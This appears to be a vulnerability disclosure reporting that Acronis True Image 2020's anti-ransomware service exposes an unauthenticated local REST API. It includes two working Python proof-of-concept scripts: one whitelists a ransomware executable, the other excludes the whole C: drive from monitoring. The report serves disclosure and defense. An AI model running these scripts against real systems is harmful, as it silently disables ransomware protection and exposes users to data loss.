anti_ransomware_service.exe REST API does not require authentication

How it was found

anti_ransomware_service.exe exposes a REST API that can be used by everyone, even unprivileged users. This API is used to communicate from the Acronis True Image 2020 GUI to the anti_ransomware_service.exe. This can be exploited to add an arbitary malicious executable to the whitelist or even exclude the entire drive from being monitored by anti_ransomware_service.exe.

Add executable to whitelist, steps to reproduce:

1. Run the python script "add_executable_to_whitelist.py". This could of course be written in a compiled language, such that the executable did not need an installed interpreter. Example code can be found below.
2. Verify in the Acronis True Image 2020 GUI that the executable "C:\ProgramData\ransomware_exe.exe" is whitelisted.

add_executable_to_whitelist.py: """ import requests import json

put_headers = {'User-Agent': 'AcronisRestClient', "Accept": "application/json", "Content-Type":"application/json"}

data = { "additions" : [ { "path" : "C:\ProgramData\ransomware_exe.exe" } ], "removals" : [] } r1 = requests.put('http://localhost:6109/lists/processImages/white', headers=put_headers, data=json.dumps(data)) print(r1.content) """

Exclude drive from monitoring, steps to reproduce:

1. Run the python script "exclude_drive_from_anti_ransomware.py". This could of course be written in a compiled language, such that the executable did not need an installed interpreter. Example code can be found below.
2. Verify in the Acronis True Image 2020 GUI that the path "C:*" is excluded.

exclude_drive_from_anti_ransomware.py: """ import requests import json import time

put_headers = {'User-Agent': 'AcronisRestClient', "Accept": "application/json", "Content-Type":"application/json"}

data = { "additions" : [ { "path" : "C:\*" } ], "removals" : [] } r1 = requests.put('http://localhost:6109/lists/excludes', headers=put_headers, data=json.dumps(data)) print(r1.content) """

Impact

This could silently disable the anti_ransomware_service.exe by whitelisting the specific ransomware executable or excluding the entire system drive from inspection.